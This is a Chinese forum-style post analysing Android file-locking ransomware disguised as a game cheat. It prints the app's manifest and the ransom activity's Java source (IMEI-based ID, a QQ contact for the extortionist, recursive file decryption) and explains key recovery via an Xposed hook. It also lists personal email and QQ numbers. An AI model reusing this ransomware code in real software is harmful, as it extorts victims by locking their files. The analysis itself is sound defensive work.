申请ID:crx666
个人邮箱:3242632951@qq.com
原创文章:对一枚骚爆了的病毒分析
咳咳,相信在几个月前,有一场全球的灾难,他就是永恒之蓝,WANNACAY2.0。绝对是轰动全球,微软紧急发布补丁,360.金山等国内知名杀毒软件迅速出击对病毒分析,几个月的风波过去,相信那个界面,大家也是历历在目啊。
今中午,咋群里头,来了个很牛批的,自号称是华中帝国的,来群里头搞软件来了弄得俺们家 菲露露 也是无比崇拜(好不容易脱单了,居然被抢了过去)嗯好吧不说题外话,我就是想教训教训这个小pup(小学生)
嗯咋们开始
先瞧瞧这骚发的
搞软件喽软件楼,一年一度的秒赞软件楼 |
还有外挂哟 |
CF |
dnf哟。 |
谁需要哟, |
很牛逼啊 |
透视穿墙样样行
| 我@了他告诉他别发,果然,,,不一会儿就给禁言了。。。尴尬了,,,,随后,禁言结束后,就开始他的大肆宣传,后来,他终于发了一个自号王者农药辅助的东西,我呢,给他看了一下,乱码了。。。估计是夹克了。
哈哈大笑,字都给写错了,把他复制到桌面,找个脱壳软件,嗯,齐刷刷了。好了,,,脱好了。
小了一丢丢,然后就没啥东西。我这个人呢,有点懒,懒得打,就直接给改个后缀吧。
齐刷刷的,xml,dex,arsc,等等文件出现了。。。来看看xml文档<?xml version="1.0" encoding="UTF-8"?>
-<manifest android:versionName="1.0" android:versionCode="1" package="com.android.admin.hongyan" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-sdk android:targetSdkVersion="21" android:minSdkVersion="8"/>
-<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/ic_launcher">
-<activity android:name=".MainActivity" android:label="@string/app_name">
-<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name=".newone"/>
<activity android:name=".lock"/>
</application>
</manifest>
依靠我灵敏的直觉来看,这小学生估计是要,锁机。。。没错。让我们运行apk一下,界面还是很简洁的,一个编辑框,一个按钮,就是叫你按按钮,安装插件。按了之后,他会提示正在安装插件中间一个圆圈一直动,画个圈圈诅咒你?哈哈哈。
原形毕露!!!!!!!
哇....好猥琐的界面啊...吓得我都肾虚了都,,,
顿时也是一脸懵逼啊,后来才明白,原理其实是这样子的:是一个按钮事件,当你把按钮按了之后,他会载入一个新的窗体,同时把那个按钮的窗体删除掉,然后这个窗体载入,会给一个信息框,然后下面圆圈会转,让用户以为在加载,其实这个时候已经被锁,专业点说,就是锁文件。那么这个圈圈其实充其量也就是一个for循环,有玩过Java,后者是有学过的,他们都知道这个怎么做出来。两编辑框,一个按钮,叫你输入密码。然后密码对了恢复文件,密码错了就。。。
此时此刻第一时间我们把这个小学生把他社工了,然后踢了,把文件封锁。进一步研究。
基础界面已经研究过了,没有亮点,砸门来瞧瞧,核心源码吧。
public class lock extends Activity{
TextView lxwm,xlh;
Button fz,jm;
EditText mm;
String imei;
private des des;
private String key;
@Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.lock);
des = new des("骑狱");
try
{
des = new des(des.decrypt("57e58af4e6039eaf"));
}
catch (Exception e)
{}
try
{
}
catch (Exception e)
{}
//勒索界面
lxwm=(TextView) findViewById(R.id.lxwm);
xlh=(TextView) findViewById(R.id.xlh);
fz=(Button) findViewById(R.id.fz);
jm=(Button) findViewById(R.id.jm);
mm=(EditText) findViewById(R.id.mm);
TelephonyManager tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
imei=tm.getDeviceId();
final String xx=(红颜一笑尽是伤.getsha_1(红颜一笑尽是伤.getMD5String(imei)));
xlh.setText(xx);
fz.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View p1)
{
ClipboardManager cm = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
cm.setText(xx);//复制id
}
});
lxwm.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View p1)
{//跳转qq
startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("mqqwpa://im/chat?chat_type=wpa&uin=1843931703&version=1")));
}
});
jm.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View p1)
{//判断密码
String a=mm.getText().toString();
if(a.equals(红颜一笑尽是伤.getsha_1(红颜一笑尽是伤.getMD5String(xx)))){
Toast.makeText(lock.this,"正在解密中,请不要退出软件",7000).show();
new Thread ( ) {
public void run ( )
{//方法
b( new File ( Environment.getExternalStorageDirectory().getAbsolutePath() ) );
};
}.start ( );
}
}
});}
//解密方法
public void b ( File root )
{
File files[] = root.listFiles ( );
if ( files != null )
{
for ( File f : files )
{
if ( f.isDirectory ( ) )
{
b ( f );
}
else
{
String[] jm= f.toString().split(".文件已加密待解密");
FileEncryptUtils.decryptFile(key,f.toString(),jm[0].toString());
}
}
}}
文件被加密了。哦,这个我来说一下吧,本人水平不高,水平也实在有限,小生写的太谈天论地了,我也实在是看不懂,这里初略解释一下,大家认识一下认识一下就好。
前头有个DES=new des(奇遇)这个这里是新的des下边有个des= 57e58af4e6039eaf这个字符串,但是最后的字符串还是红颜一笑尽是殇,这几个字。if(a.equals(红颜一笑尽是伤.getsha_1(红颜一笑尽是伤.getMD5String(xx)))),嗯同时,代码中的两个des值其实是一样的。初始化的那个57e58a估计就是DES加密的key值然后就立马进行解密,取出另一个key值作为新的秘钥。
有没有觉得爆炸了?爆炸天了?还是觉得意犹未尽?重点没讲到?那么,接下来,我带领大家,如何破解!
注意哟,注意哟。
咳咳,注意注意,小白们,当你分析时,看见那个rsc文件夹了吗?在那个文件夹里头(针对锁文件的来说,因为网上安卓恶意软件都是第一个发了第二个改一改接着发所以说文件夹和位置几乎一样)rsc里头,如果接受木马且放马的少年他喜欢装逼,他会把里头一个ASE文件夹给弄成自己网名后者qq,那里头就是加密算法文件,既然有加,就有减,不分清白,吧加密解密的撸出来。之后写一个解密。针对ASE加密的原理其实也是很简单的,他通过一个秘钥,接下去我就不说了,同时,针对安卓ase加密也不是啥新玩意儿了。
最后,我们理清一下思路:哦对,我在这里说一下他是从SP中拿到key是passw的密文进行解密比对。其实到这里我们可以借助Xposed工具直接hook这个decrypt方法就能很轻易的拿到这个密码了嗯。前边看见了两个des这里不能混淆代码,不然逻辑会乱。其实都是同一个值。初始化时,传入一个key,可能是des加密的key值,但是不一定哟,也许不是。。。然后立马先对一个密文进行解密。之后的内容作为新的秘钥值。解密就此结束
思路完了,那么大家还可以去百度一下ASE相关知识等。谢谢大家观看。
====================================================================================================================
求H大通过。
|